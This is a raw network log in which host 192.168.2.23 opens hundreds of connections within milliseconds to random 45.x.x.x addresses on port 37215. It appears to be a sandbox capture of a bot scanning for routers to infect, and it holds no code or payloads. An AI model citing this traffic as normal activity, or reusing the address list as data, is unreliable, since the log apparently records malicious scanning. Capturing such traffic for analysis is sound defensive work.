Feb 19, 2024 18:35:38.459084034 CET	54001	37215	192.168.2.23	45.214.217.35
Feb 19, 2024 18:35:38.459091902 CET	54001	37215	192.168.2.23	45.222.74.121
Feb 19, 2024 18:35:38.459105968 CET	54001	37215	192.168.2.23	45.115.199.149
Feb 19, 2024 18:35:38.459110022 CET	54001	37215	192.168.2.23	45.176.247.238
Feb 19, 2024 18:35:38.459131002 CET	54001	37215	192.168.2.23	45.231.125.63
Feb 19, 2024 18:35:38.459146023 CET	54001	37215	192.168.2.23	45.68.75.156
Feb 19, 2024 18:35:38.459160089 CET	54001	37215	192.168.2.23	45.78.47.130
Feb 19, 2024 18:35:38.459180117 CET	54001	37215	192.168.2.23	45.168.204.231
Feb 19, 2024 18:35:38.459180117 CET	54001	37215	192.168.2.23	45.79.225.149
Feb 19, 2024 18:35:38.459192991 CET	54001	37215	192.168.2.23	45.247.248.26
Feb 19, 2024 18:35:38.459207058 CET	54001	37215	192.168.2.23	45.190.56.244
Feb 19, 2024 18:35:38.459214926 CET	54001	37215	192.168.2.23	45.163.120.43
Feb 19, 2024 18:35:38.459229946 CET	54001	37215	192.168.2.23	45.249.142.143
Feb 19, 2024 18:35:38.459243059 CET	54001	37215	192.168.2.23	45.209.234.169
Feb 19, 2024 18:35:38.459249973 CET	54001	37215	192.168.2.23	45.229.226.116
Feb 19, 2024 18:35:38.459266901 CET	54001	37215	192.168.2.23	45.117.46.228
Feb 19, 2024 18:35:38.459268093 CET	54001	37215	192.168.2.23	45.190.110.220
Feb 19, 2024 18:35:38.459285021 CET	54001	37215	192.168.2.23	45.139.92.240
Feb 19, 2024 18:35:38.459291935 CET	54001	37215	192.168.2.23	45.75.167.203
Feb 19, 2024 18:35:38.459307909 CET	54001	37215	192.168.2.23	45.130.156.202
Feb 19, 2024 18:35:38.459326982 CET	54001	37215	192.168.2.23	45.140.82.247
Feb 19, 2024 18:35:38.459338903 CET	54001	37215	192.168.2.23	45.94.48.84
Feb 19, 2024 18:35:38.459342003 CET	54001	37215	192.168.2.23	45.85.158.217
Feb 19, 2024 18:35:38.459347010 CET	54001	37215	192.168.2.23	45.70.12.196
Feb 19, 2024 18:35:38.459376097 CET	54001	37215	192.168.2.23	45.203.41.89
Feb 19, 2024 18:35:38.459381104 CET	54001	37215	192.168.2.23	45.73.61.35
Feb 19, 2024 18:35:38.459382057 CET	54001	37215	192.168.2.23	45.40.102.158
Feb 19, 2024 18:35:38.459397078 CET	54001	37215	192.168.2.23	45.67.100.222
Feb 19, 2024 18:35:38.459403992 CET	54001	37215	192.168.2.23	45.234.69.224
Feb 19, 2024 18:35:38.459418058 CET	54001	37215	192.168.2.23	45.103.94.214
Feb 19, 2024 18:35:38.459430933 CET	54001	37215	192.168.2.23	45.76.142.39
Feb 19, 2024 18:35:38.459445000 CET	54001	37215	192.168.2.23	45.239.163.200
Feb 19, 2024 18:35:38.459465981 CET	54001	37215	192.168.2.23	45.245.54.236
Feb 19, 2024 18:35:38.459476948 CET	54001	37215	192.168.2.23	45.251.246.124
Feb 19, 2024 18:35:38.459487915 CET	54001	37215	192.168.2.23	45.208.167.232
Feb 19, 2024 18:35:38.459491968 CET	54001	37215	192.168.2.23	45.131.238.219
Feb 19, 2024 18:35:38.459498882 CET	54001	37215	192.168.2.23	45.169.106.188
Feb 19, 2024 18:35:38.459503889 CET	54001	37215	192.168.2.23	45.189.252.245
Feb 19, 2024 18:35:38.459525108 CET	54001	37215	192.168.2.23	45.59.100.33
Feb 19, 2024 18:35:38.459537029 CET	54001	37215	192.168.2.23	45.26.145.71
Feb 19, 2024 18:35:38.459566116 CET	54001	37215	192.168.2.23	45.26.250.200
Feb 19, 2024 18:35:38.459566116 CET	54001	37215	192.168.2.23	45.180.120.57
Feb 19, 2024 18:35:38.459593058 CET	54001	37215	192.168.2.23	45.192.212.15
Feb 19, 2024 18:35:38.459599018 CET	54001	37215	192.168.2.23	45.170.205.224
Feb 19, 2024 18:35:38.459609032 CET	54001	37215	192.168.2.23	45.201.78.190
Feb 19, 2024 18:35:38.459613085 CET	54001	37215	192.168.2.23	45.239.17.210
Feb 19, 2024 18:35:38.459615946 CET	54001	37215	192.168.2.23	45.52.160.63
Feb 19, 2024 18:35:38.459630013 CET	54001	37215	192.168.2.23	45.11.198.162
Feb 19, 2024 18:35:38.459635973 CET	54001	37215	192.168.2.23	45.163.202.215
Feb 19, 2024 18:35:38.459650040 CET	54001	37215	192.168.2.23	45.170.196.241
Feb 19, 2024 18:35:38.459661007 CET	54001	37215	192.168.2.23	45.140.125.30
Feb 19, 2024 18:35:38.459676027 CET	54001	37215	192.168.2.23	45.95.76.241
Feb 19, 2024 18:35:38.459687948 CET	54001	37215	192.168.2.23	45.118.76.212
Feb 19, 2024 18:35:38.459697962 CET	54001	37215	192.168.2.23	45.175.9.34
Feb 19, 2024 18:35:38.459714890 CET	54001	37215	192.168.2.23	45.137.66.157
Feb 19, 2024 18:35:38.459723949 CET	54001	37215	192.168.2.23	45.85.34.20
Feb 19, 2024 18:35:38.459731102 CET	54001	37215	192.168.2.23	45.76.251.239
Feb 19, 2024 18:35:38.459739923 CET	54001	37215	192.168.2.23	45.69.178.109
Feb 19, 2024 18:35:38.459755898 CET	54001	37215	192.168.2.23	45.19.222.252
Feb 19, 2024 18:35:38.459767103 CET	54001	37215	192.168.2.23	45.113.163.178
Feb 19, 2024 18:35:38.459777117 CET	54001	37215	192.168.2.23	45.87.125.221
Feb 19, 2024 18:35:38.459794044 CET	54001	37215	192.168.2.23	45.185.254.1
Feb 19, 2024 18:35:38.459794044 CET	54001	37215	192.168.2.23	45.81.83.110
Feb 19, 2024 18:35:38.459805965 CET	54001	37215	192.168.2.23	45.36.81.239
Feb 19, 2024 18:35:38.459817886 CET	54001	37215	192.168.2.23	45.128.11.90
Feb 19, 2024 18:35:38.459834099 CET	54001	37215	192.168.2.23	45.239.143.181
Feb 19, 2024 18:35:38.459849119 CET	54001	37215	192.168.2.23	45.45.20.10
Feb 19, 2024 18:35:38.459861040 CET	54001	37215	192.168.2.23	45.165.165.198
Feb 19, 2024 18:35:38.459862947 CET	54001	37215	192.168.2.23	45.65.210.159
Feb 19, 2024 18:35:38.459883928 CET	54001	37215	192.168.2.23	45.29.61.176
Feb 19, 2024 18:35:38.459888935 CET	54001	37215	192.168.2.23	45.110.134.132
Feb 19, 2024 18:35:38.459903002 CET	54001	37215	192.168.2.23	45.152.171.67
Feb 19, 2024 18:35:38.459924936 CET	54001	37215	192.168.2.23	45.17.231.125
Feb 19, 2024 18:35:38.459932089 CET	54001	37215	192.168.2.23	45.121.42.210
Feb 19, 2024 18:35:38.459939957 CET	54001	37215	192.168.2.23	45.208.150.74
Feb 19, 2024 18:35:38.459940910 CET	54001	37215	192.168.2.23	45.192.100.216
Feb 19, 2024 18:35:38.459958076 CET	54001	37215	192.168.2.23	45.6.138.70
Feb 19, 2024 18:35:38.459964991 CET	54001	37215	192.168.2.23	45.248.219.89
Feb 19, 2024 18:35:38.459996939 CET	54001	37215	192.168.2.23	45.108.39.242
Feb 19, 2024 18:35:38.460001945 CET	54001	37215	192.168.2.23	45.100.59.137
Feb 19, 2024 18:35:38.460004091 CET	54001	37215	192.168.2.23	45.190.151.245
Feb 19, 2024 18:35:38.460017920 CET	54001	37215	192.168.2.23	45.17.36.226
Feb 19, 2024 18:35:38.460031986 CET	54001	37215	192.168.2.23	45.51.113.248
Feb 19, 2024 18:35:38.460042000 CET	54001	37215	192.168.2.23	45.30.247.122
Feb 19, 2024 18:35:38.460042000 CET	54001	37215	192.168.2.23	45.86.118.76
Feb 19, 2024 18:35:38.460062981 CET	54001	37215	192.168.2.23	45.239.255.200
Feb 19, 2024 18:35:38.460071087 CET	54001	37215	192.168.2.23	45.60.188.124
Feb 19, 2024 18:35:38.460088968 CET	54001	37215	192.168.2.23	45.214.81.176
Feb 19, 2024 18:35:38.460114002 CET	54001	37215	192.168.2.23	45.253.87.8
Feb 19, 2024 18:35:38.460124969 CET	54001	37215	192.168.2.23	45.114.19.178
Feb 19, 2024 18:35:38.460129976 CET	54001	37215	192.168.2.23	45.122.46.180
Feb 19, 2024 18:35:38.460139990 CET	54001	37215	192.168.2.23	45.47.62.118
Feb 19, 2024 18:35:38.460145950 CET	54001	37215	192.168.2.23	45.73.124.55
Feb 19, 2024 18:35:38.460163116 CET	54001	37215	192.168.2.23	45.38.23.255
Feb 19, 2024 18:35:38.460174084 CET	54001	37215	192.168.2.23	45.209.182.248
Feb 19, 2024 18:35:38.460184097 CET	54001	37215	192.168.2.23	45.216.74.90
Feb 19, 2024 18:35:38.460194111 CET	54001	37215	192.168.2.23	45.191.178.183
Feb 19, 2024 18:35:38.460212946 CET	54001	37215	192.168.2.23	45.199.8.231
Feb 19, 2024 18:35:38.460212946 CET	54001	37215	192.168.2.23	45.185.182.2
Feb 19, 2024 18:35:38.460230112 CET	54001	37215	192.168.2.23	45.91.51.49
Feb 19, 2024 18:35:38.460243940 CET	54001	37215	192.168.2.23	45.110.243.79
Feb 19, 2024 18:35:38.460249901 CET	54001	37215	192.168.2.23	45.162.226.127
Feb 19, 2024 18:35:38.460256100 CET	54001	37215	192.168.2.23	45.158.151.155
Feb 19, 2024 18:35:38.460269928 CET	54001	37215	192.168.2.23	45.83.175.36
Feb 19, 2024 18:35:38.460278034 CET	54001	37215	192.168.2.23	45.104.183.90
Feb 19, 2024 18:35:38.460293055 CET	54001	37215	192.168.2.23	45.114.12.220
Feb 19, 2024 18:35:38.460304022 CET	54001	37215	192.168.2.23	45.118.93.231
Feb 19, 2024 18:35:38.460304976 CET	54001	37215	192.168.2.23	45.42.65.254
Feb 19, 2024 18:35:38.460325956 CET	54001	37215	192.168.2.23	45.86.255.160
Feb 19, 2024 18:35:38.460336924 CET	54001	37215	192.168.2.23	45.92.142.7
Feb 19, 2024 18:35:38.460362911 CET	54001	37215	192.168.2.23	45.44.145.206
Feb 19, 2024 18:35:38.460386992 CET	54001	37215	192.168.2.23	45.224.24.0
Feb 19, 2024 18:35:38.460391045 CET	54001	37215	192.168.2.23	45.1.102.56
Feb 19, 2024 18:35:38.460395098 CET	54001	37215	192.168.2.23	45.120.56.143
Feb 19, 2024 18:35:38.460397959 CET	54001	37215	192.168.2.23	45.250.231.139
Feb 19, 2024 18:35:38.460423946 CET	54001	37215	192.168.2.23	45.11.167.103
Feb 19, 2024 18:35:38.460437059 CET	54001	37215	192.168.2.23	45.35.204.129
Feb 19, 2024 18:35:38.460445881 CET	54001	37215	192.168.2.23	45.1.89.15
Feb 19, 2024 18:35:38.460453033 CET	54001	37215	192.168.2.23	45.165.124.220
Feb 19, 2024 18:35:38.460467100 CET	54001	37215	192.168.2.23	45.169.180.149
Feb 19, 2024 18:35:38.460470915 CET	54001	37215	192.168.2.23	45.84.65.120
Feb 19, 2024 18:35:38.460489988 CET	54001	37215	192.168.2.23	45.171.179.133
Feb 19, 2024 18:35:38.460498095 CET	54001	37215	192.168.2.23	45.171.2.206
Feb 19, 2024 18:35:38.460498095 CET	54001	37215	192.168.2.23	45.34.50.243
Feb 19, 2024 18:35:38.460515976 CET	54001	37215	192.168.2.23	45.163.116.142
Feb 19, 2024 18:35:38.460525990 CET	54001	37215	192.168.2.23	45.152.132.79
Feb 19, 2024 18:35:38.460539103 CET	54001	37215	192.168.2.23	45.79.38.229
Feb 19, 2024 18:35:38.460542917 CET	54001	37215	192.168.2.23	45.217.104.169
Feb 19, 2024 18:35:38.460552931 CET	54001	37215	192.168.2.23	45.165.137.130
Feb 19, 2024 18:35:38.460567951 CET	54001	37215	192.168.2.23	45.193.213.161
Feb 19, 2024 18:35:38.460568905 CET	54001	37215	192.168.2.23	45.192.28.0
Feb 19, 2024 18:35:38.460588932 CET	54001	37215	192.168.2.23	45.39.135.143
Feb 19, 2024 18:35:38.460603952 CET	54001	37215	192.168.2.23	45.234.188.55
Feb 19, 2024 18:35:38.460614920 CET	54001	37215	192.168.2.23	45.24.215.191
Feb 19, 2024 18:35:38.460623980 CET	54001	37215	192.168.2.23	45.65.170.129
Feb 19, 2024 18:35:38.460650921 CET	54001	37215	192.168.2.23	45.102.123.65
Feb 19, 2024 18:35:38.460661888 CET	54001	37215	192.168.2.23	45.95.27.214
Feb 19, 2024 18:35:38.460673094 CET	54001	37215	192.168.2.23	45.108.62.169
Feb 19, 2024 18:35:38.460681915 CET	54001	37215	192.168.2.23	45.213.209.72
Feb 19, 2024 18:35:38.460681915 CET	54001	37215	192.168.2.23	45.52.140.163
Feb 19, 2024 18:35:38.460697889 CET	54001	37215	192.168.2.23	45.99.150.148
Feb 19, 2024 18:35:38.460705996 CET	54001	37215	192.168.2.23	45.211.197.208
Feb 19, 2024 18:35:38.460721970 CET	54001	37215	192.168.2.23	45.98.39.147
Feb 19, 2024 18:35:38.460726976 CET	54001	37215	192.168.2.23	45.253.168.24
Feb 19, 2024 18:35:38.460737944 CET	54001	37215	192.168.2.23	45.242.246.122
Feb 19, 2024 18:35:38.460756063 CET	54001	37215	192.168.2.23	45.243.39.191
Feb 19, 2024 18:35:38.460767984 CET	54001	37215	192.168.2.23	45.34.147.254
Feb 19, 2024 18:35:38.460791111 CET	54001	37215	192.168.2.23	45.117.97.110
Feb 19, 2024 18:35:38.460803032 CET	54001	37215	192.168.2.23	45.100.207.245
Feb 19, 2024 18:35:38.460803032 CET	54001	37215	192.168.2.23	45.128.126.224
Feb 19, 2024 18:35:38.460807085 CET	54001	37215	192.168.2.23	45.70.67.137
Feb 19, 2024 18:35:38.460827112 CET	54001	37215	192.168.2.23	45.238.157.222
Feb 19, 2024 18:35:38.460836887 CET	54001	37215	192.168.2.23	45.59.203.113
Feb 19, 2024 18:35:38.460863113 CET	54001	37215	192.168.2.23	45.118.222.201
Feb 19, 2024 18:35:38.460865974 CET	54001	37215	192.168.2.23	45.203.102.147
Feb 19, 2024 18:35:38.460872889 CET	54001	37215	192.168.2.23	45.175.76.108
Feb 19, 2024 18:35:38.460872889 CET	54001	37215	192.168.2.23	45.202.252.140
Feb 19, 2024 18:35:38.460891962 CET	54001	37215	192.168.2.23	45.132.231.49
Feb 19, 2024 18:35:38.460906029 CET	54001	37215	192.168.2.23	45.105.129.112
Feb 19, 2024 18:35:38.460922956 CET	54001	37215	192.168.2.23	45.36.143.227
Feb 19, 2024 18:35:38.460942030 CET	54001	37215	192.168.2.23	45.174.71.164
Feb 19, 2024 18:35:38.460949898 CET	54001	37215	192.168.2.23	45.137.124.140
Feb 19, 2024 18:35:38.460959911 CET	54001	37215	192.168.2.23	45.204.241.203
Feb 19, 2024 18:35:38.460972071 CET	54001	37215	192.168.2.23	45.184.23.215
Feb 19, 2024 18:35:38.460979939 CET	54001	37215	192.168.2.23	45.3.75.30
Feb 19, 2024 18:35:38.460993052 CET	54001	37215	192.168.2.23	45.102.64.102
Feb 19, 2024 18:35:38.460994959 CET	54001	37215	192.168.2.23	45.6.82.230
Feb 19, 2024 18:35:38.460999966 CET	54001	37215	192.168.2.23	45.196.20.24
Feb 19, 2024 18:35:38.461018085 CET	54001	37215	192.168.2.23	45.228.25.189
Feb 19, 2024 18:35:38.461035013 CET	54001	37215	192.168.2.23	45.80.190.103
Feb 19, 2024 18:35:38.461040020 CET	54001	37215	192.168.2.23	45.242.212.190
Feb 19, 2024 18:35:38.461052895 CET	54001	37215	192.168.2.23	45.254.104.122
Feb 19, 2024 18:35:38.461071968 CET	54001	37215	192.168.2.23	45.246.108.76
Feb 19, 2024 18:35:38.461080074 CET	54001	37215	192.168.2.23	45.213.148.186
Feb 19, 2024 18:35:38.461088896 CET	54001	37215	192.168.2.23	45.122.95.89
Feb 19, 2024 18:35:38.461103916 CET	54001	37215	192.168.2.23	45.225.220.118
Feb 19, 2024 18:35:38.461114883 CET	54001	37215	192.168.2.23	45.16.156.253
Feb 19, 2024 18:35:38.461127043 CET	54001	37215	192.168.2.23	45.173.67.250
Feb 19, 2024 18:35:38.461138964 CET	54001	37215	192.168.2.23	45.244.87.51
Feb 19, 2024 18:35:38.461150885 CET	54001	37215	192.168.2.23	45.104.174.173
Feb 19, 2024 18:35:38.461158037 CET	54001	37215	192.168.2.23	45.246.116.163
Feb 19, 2024 18:35:38.461165905 CET	54001	37215	192.168.2.23	45.227.132.10
Feb 19, 2024 18:35:38.461183071 CET	54001	37215	192.168.2.23	45.38.91.116
Feb 19, 2024 18:35:38.461201906 CET	54001	37215	192.168.2.23	45.135.116.25
Feb 19, 2024 18:35:38.461229086 CET	54001	37215	192.168.2.23	45.211.181.19
Feb 19, 2024 18:35:38.461231947 CET	54001	37215	192.168.2.23	45.189.22.0
Feb 19, 2024 18:35:38.461235046 CET	54001	37215	192.168.2.23	45.18.241.137
Feb 19, 2024 18:35:38.461245060 CET	54001	37215	192.168.2.23	45.51.192.248
Feb 19, 2024 18:35:38.461246967 CET	54001	37215	192.168.2.23	45.183.48.251
Feb 19, 2024 18:35:38.461258888 CET	54001	37215	192.168.2.23	45.188.192.212
Feb 19, 2024 18:35:38.461270094 CET	54001	37215	192.168.2.23	45.171.89.252
Feb 19, 2024 18:35:38.461282969 CET	54001	37215	192.168.2.23	45.134.55.30
Feb 19, 2024 18:35:38.461287975 CET	54001	37215	192.168.2.23	45.75.56.207
Feb 19, 2024 18:35:38.461302996 CET	54001	37215	192.168.2.23	45.60.126.132
Feb 19, 2024 18:35:38.461314917 CET	54001	37215	192.168.2.23	45.125.145.24
Feb 19, 2024 18:35:38.461314917 CET	54001	37215	192.168.2.23	45.164.16.178
Feb 19, 2024 18:35:38.461334944 CET	54001	37215	192.168.2.23	45.47.214.232
Feb 19, 2024 18:35:38.461347103 CET	54001	37215	192.168.2.23	45.170.67.217
Feb 19, 2024 18:35:38.461369991 CET	54001	37215	192.168.2.23	45.122.181.7
Feb 19, 2024 18:35:38.461389065 CET	54001	37215	192.168.2.23	45.89.228.130
Feb 19, 2024 18:35:38.461393118 CET	54001	37215	192.168.2.23	45.16.132.224
Feb 19, 2024 18:35:38.461400986 CET	54001	37215	192.168.2.23	45.178.115.247
Feb 19, 2024 18:35:38.461410046 CET	54001	37215	192.168.2.23	45.249.242.51
Feb 19, 2024 18:35:38.461414099 CET	54001	37215	192.168.2.23	45.64.139.23
Feb 19, 2024 18:35:38.461441040 CET	54001	37215	192.168.2.23	45.30.234.33
Feb 19, 2024 18:35:38.461446047 CET	54001	37215	192.168.2.23	45.30.236.7
Feb 19, 2024 18:35:38.461458921 CET	54001	37215	192.168.2.23	45.55.39.74
Feb 19, 2024 18:35:38.461462975 CET	54001	37215	192.168.2.23	45.211.16.26
Feb 19, 2024 18:35:38.461466074 CET	54001	37215	192.168.2.23	45.31.248.200
Feb 19, 2024 18:35:38.461477041 CET	54001	37215	192.168.2.23	45.0.201.32
Feb 19, 2024 18:35:38.461491108 CET	54001	37215	192.168.2.23	45.160.96.184
Feb 19, 2024 18:35:38.461500883 CET	54001	37215	192.168.2.23	45.118.136.179
Feb 19, 2024 18:35:38.461518049 CET	54001	37215	192.168.2.23	45.29.24.175
Feb 19, 2024 18:35:38.461519957 CET	54001	37215	192.168.2.23	45.240.140.254
Feb 19, 2024 18:35:38.461545944 CET	54001	37215	192.168.2.23	45.5.210.42
Feb 19, 2024 18:35:38.461546898 CET	54001	37215	192.168.2.23	45.58.149.168
Feb 19, 2024 18:35:38.461570024 CET	54001	37215	192.168.2.23	45.221.197.153
Feb 19, 2024 18:35:38.461580038 CET	54001	37215	192.168.2.23	45.19.178.155
Feb 19, 2024 18:35:38.461587906 CET	54001	37215	192.168.2.23	45.188.64.180
Feb 19, 2024 18:35:38.461606026 CET	54001	37215	192.168.2.23	45.198.178.46
Feb 19, 2024 18:35:38.461616039 CET	54001	37215	192.168.2.23	45.71.230.59
Feb 19, 2024 18:35:38.461625099 CET	54001	37215	192.168.2.23	45.33.66.69
Feb 19, 2024 18:35:38.461628914 CET	54001	37215	192.168.2.23	45.50.208.91
Feb 19, 2024 18:35:38.461637974 CET	54001	37215	192.168.2.23	45.111.180.198
Feb 19, 2024 18:35:38.461668968 CET	54001	37215	192.168.2.23	45.24.211.1
Feb 19, 2024 18:35:38.461668968 CET	54001	37215	192.168.2.23	45.114.8.49
Feb 19, 2024 18:35:38.461697102 CET	54001	37215	192.168.2.23	45.25.54.29
Feb 19, 2024 18:35:38.461700916 CET	54001	37215	192.168.2.23	45.223.253.187
Feb 19, 2024 18:35:38.461709023 CET	54001	37215	192.168.2.23	45.251.98.111
Feb 19, 2024 18:35:38.461720943 CET	54001	37215	192.168.2.23	45.235.183.87
Feb 19, 2024 18:35:38.461740971 CET	54001	37215	192.168.2.23	45.125.44.84
Feb 19, 2024 18:35:38.461740971 CET	54001	37215	192.168.2.23	45.1.123.186
Feb 19, 2024 18:35:38.461755037 CET	54001	37215	192.168.2.23	45.41.97.131
Feb 19, 2024 18:35:38.461764097 CET	54001	37215	192.168.2.23	45.224.210.53
Feb 19, 2024 18:35:38.461776018 CET	54001	37215	192.168.2.23	45.162.112.237
Feb 19, 2024 18:35:38.461776018 CET	54001	37215	192.168.2.23	45.236.218.163
Feb 19, 2024 18:35:38.461802959 CET	54001	37215	192.168.2.23	45.118.29.87
Feb 19, 2024 18:35:38.461812973 CET	54001	37215	192.168.2.23	45.137.165.64
Feb 19, 2024 18:35:38.461815119 CET	54001	37215	192.168.2.23	45.130.59.114
Feb 19, 2024 18:35:38.461836100 CET	54001	37215	192.168.2.23	45.45.39.116
Feb 19, 2024 18:35:38.461837053 CET	54001	37215	192.168.2.23	45.10.187.1
Feb 19, 2024 18:35:38.461839914 CET	54001	37215	192.168.2.23	45.94.11.40
Feb 19, 2024 18:35:38.461853027 CET	54001	37215	192.168.2.23	45.150.110.154
Feb 19, 2024 18:35:38.461872101 CET	54001	37215	192.168.2.23	45.93.49.176
Feb 19, 2024 18:35:38.461873055 CET	54001	37215	192.168.2.23	45.197.198.234
Feb 19, 2024 18:35:38.461893082 CET	54001	37215	192.168.2.23	45.110.181.149
Feb 19, 2024 18:35:38.461906910 CET	54001	37215	192.168.2.23	45.157.179.217
Feb 19, 2024 18:35:38.461925983 CET	54001	37215	192.168.2.23	45.22.219.190
Feb 19, 2024 18:35:38.461934090 CET	54001	37215	192.168.2.23	45.246.156.78
Feb 19, 2024 18:35:38.461934090 CET	54001	37215	192.168.2.23	45.54.159.182
Feb 19, 2024 18:35:38.461950064 CET	54001	37215	192.168.2.23	45.182.54.203
Feb 19, 2024 18:35:38.461967945 CET	54001	37215	192.168.2.23	45.41.54.216
Feb 19, 2024 18:35:38.461981058 CET	54001	37215	192.168.2.23	45.215.148.171
Feb 19, 2024 18:35:38.461999893 CET	54001	37215	192.168.2.23	45.36.240.53
Feb 19, 2024 18:35:38.461999893 CET	54001	37215	192.168.2.23	45.65.103.163
Feb 19, 2024 18:35:38.462017059 CET	54001	37215	192.168.2.23	45.121.198.66
Feb 19, 2024 18:35:38.462032080 CET	54001	37215	192.168.2.23	45.11.149.102
Feb 19, 2024 18:35:38.462045908 CET	54001	37215	192.168.2.23	45.113.181.202
Feb 19, 2024 18:35:38.462045908 CET	54001	37215	192.168.2.23	45.83.102.254
Feb 19, 2024 18:35:38.462079048 CET	54001	37215	192.168.2.23	45.145.0.156
Feb 19, 2024 18:35:38.462079048 CET	54001	37215	192.168.2.23	45.116.83.81
Feb 19, 2024 18:35:38.462093115 CET	54001	37215	192.168.2.23	45.110.12.44
Feb 19, 2024 18:35:38.462102890 CET	54001	37215	192.168.2.23	45.113.29.117
Feb 19, 2024 18:35:38.462116957 CET	54001	37215	192.168.2.23	45.134.63.98
Feb 19, 2024 18:35:38.462121964 CET	54001	37215	192.168.2.23	45.23.86.78
Feb 19, 2024 18:35:38.462141037 CET	54001	37215	192.168.2.23	45.249.76.156
Feb 19, 2024 18:35:38.462146997 CET	54001	37215	192.168.2.23	45.33.245.84
Feb 19, 2024 18:35:38.462174892 CET	54001	37215	192.168.2.23	45.109.243.6
Feb 19, 2024 18:35:38.462184906 CET	54001	37215	192.168.2.23	45.138.56.78
Feb 19, 2024 18:35:38.462198973 CET	54001	37215	192.168.2.23	45.146.183.248
Feb 19, 2024 18:35:38.462199926 CET	54001	37215	192.168.2.23	45.184.22.4
Feb 19, 2024 18:35:38.462223053 CET	54001	37215	192.168.2.23	45.76.232.208
Feb 19, 2024 18:35:38.462232113 CET	54001	37215	192.168.2.23	45.150.137.96
Feb 19, 2024 18:35:38.462235928 CET	54001	37215	192.168.2.23	45.104.203.58
Feb 19, 2024 18:35:38.462255001 CET	54001	37215	192.168.2.23	45.96.7.250
Feb 19, 2024 18:35:38.462260008 CET	54001	37215	192.168.2.23	45.146.211.185
Feb 19, 2024 18:35:38.462270021 CET	54001	37215	192.168.2.23	45.24.237.16
Feb 19, 2024 18:35:38.462282896 CET	54001	37215	192.168.2.23	45.191.114.42
Feb 19, 2024 18:35:38.462295055 CET	54001	37215	192.168.2.23	45.145.210.72
Feb 19, 2024 18:35:38.462295055 CET	54001	37215	192.168.2.23	45.199.236.200
Feb 19, 2024 18:35:38.462304115 CET	54001	37215	192.168.2.23	45.84.90.232
Feb 19, 2024 18:35:38.462327957 CET	54001	37215	192.168.2.23	45.36.223.35
Feb 19, 2024 18:35:38.462346077 CET	54001	37215	192.168.2.23	45.68.31.76
Feb 19, 2024 18:35:38.462352991 CET	54001	37215	192.168.2.23	45.64.70.52
Feb 19, 2024 18:35:38.462357044 CET	54001	37215	192.168.2.23	45.251.139.110
Feb 19, 2024 18:35:38.462368965 CET	54001	37215	192.168.2.23	45.152.117.114
Feb 19, 2024 18:35:38.462384939 CET	54001	37215	192.168.2.23	45.153.201.146
Feb 19, 2024 18:35:38.462388039 CET	54001	37215	192.168.2.23	45.166.227.120
Feb 19, 2024 18:35:38.462403059 CET	54001	37215	192.168.2.23	45.204.193.99
Feb 19, 2024 18:35:38.462418079 CET	54001	37215	192.168.2.23	45.7.231.227
Feb 19, 2024 18:35:38.462428093 CET	54001	37215	192.168.2.23	45.247.35.193
Feb 19, 2024 18:35:38.462455034 CET	54001	37215	192.168.2.23	45.105.232.16
Feb 19, 2024 18:35:38.462455034 CET	54001	37215	192.168.2.23	45.155.154.254
Feb 19, 2024 18:35:38.462467909 CET	54001	37215	192.168.2.23	45.166.215.63
Feb 19, 2024 18:35:38.462485075 CET	54001	37215	192.168.2.23	45.112.207.209
Feb 19, 2024 18:35:38.462491035 CET	54001	37215	192.168.2.23	45.40.30.32
Feb 19, 2024 18:35:38.462510109 CET	54001	37215	192.168.2.23	45.207.45.82
Feb 19, 2024 18:35:38.462522030 CET	54001	37215	192.168.2.23	45.21.15.248
Feb 19, 2024 18:35:38.462523937 CET	54001	37215	192.168.2.23	45.175.106.88
Feb 19, 2024 18:35:38.462543964 CET	54001	37215	192.168.2.23	45.31.215.227
Feb 19, 2024 18:35:38.462544918 CET	54001	37215	192.168.2.23	45.151.104.4
Feb 19, 2024 18:35:38.462567091 CET	54001	37215	192.168.2.23	45.8.124.190
Feb 19, 2024 18:35:38.462568998 CET	54001	37215	192.168.2.23	45.43.21.14
Feb 19, 2024 18:35:38.462579966 CET	54001	37215	192.168.2.23	45.219.164.233
Feb 19, 2024 18:35:38.462594986 CET	54001	37215	192.168.2.23	45.235.127.43
Feb 19, 2024 18:35:38.462594986 CET	54001	37215	192.168.2.23	45.61.69.117
Feb 19, 2024 18:35:38.462610006 CET	54001	37215	192.168.2.23	45.222.38.142
Feb 19, 2024 18:35:38.462630033 CET	54001	37215	192.168.2.23	45.66.131.238
Feb 19, 2024 18:35:38.462641954 CET	54001	37215	192.168.2.23	45.223.71.166
Feb 19, 2024 18:35:38.462646961 CET	54001	37215	192.168.2.23	45.4.85.117
Feb 19, 2024 18:35:38.462666035 CET	54001	37215	192.168.2.23	45.212.43.130
Feb 19, 2024 18:35:38.462678909 CET	54001	37215	192.168.2.23	45.84.141.71
Feb 19, 2024 18:35:38.462692976 CET	54001	37215	192.168.2.23	45.198.149.209
Feb 19, 2024 18:35:38.462701082 CET	54001	37215	192.168.2.23	45.6.241.65
Feb 19, 2024 18:35:38.462712049 CET	54001	37215	192.168.2.23	45.187.243.3
Feb 19, 2024 18:35:38.462721109 CET	54001	37215	192.168.2.23	45.23.251.31
Feb 19, 2024 18:35:38.462733030 CET	54001	37215	192.168.2.23	45.198.111.168
Feb 19, 2024 18:35:38.462739944 CET	54001	37215	192.168.2.23	45.32.6.51
Feb 19, 2024 18:35:38.462753057 CET	54001	37215	192.168.2.23	45.177.178.28
Feb 19, 2024 18:35:38.462764978 CET	54001	37215	192.168.2.23	45.6.135.240
Feb 19, 2024 18:35:38.462778091 CET	54001	37215	192.168.2.23	45.43.16.64
Feb 19, 2024 18:35:38.462788105 CET	54001	37215	192.168.2.23	45.65.244.107
Feb 19, 2024 18:35:38.462815046 CET	54001	37215	192.168.2.23	45.157.39.70
Feb 19, 2024 18:35:38.462826967 CET	54001	37215	192.168.2.23	45.215.175.248
Feb 19, 2024 18:35:38.462841034 CET	54001	37215	192.168.2.23	45.34.27.142
Feb 19, 2024 18:35:38.462841034 CET	54001	37215	192.168.2.23	45.151.165.45
Feb 19, 2024 18:35:38.462861061 CET	54001	37215	192.168.2.23	45.115.224.208
Feb 19, 2024 18:35:38.462873936 CET	54001	37215	192.168.2.23	45.56.84.243
Feb 19, 2024 18:35:38.462877035 CET	54001	37215	192.168.2.23	45.235.198.83
Feb 19, 2024 18:35:38.462887049 CET	54001	37215	192.168.2.23	45.31.48.109
Feb 19, 2024 18:35:38.462891102 CET	54001	37215	192.168.2.23	45.215.239.136
Feb 19, 2024 18:35:38.462907076 CET	54001	37215	192.168.2.23	45.142.106.4
Feb 19, 2024 18:35:38.462907076 CET	54001	37215	192.168.2.23	45.129.176.92
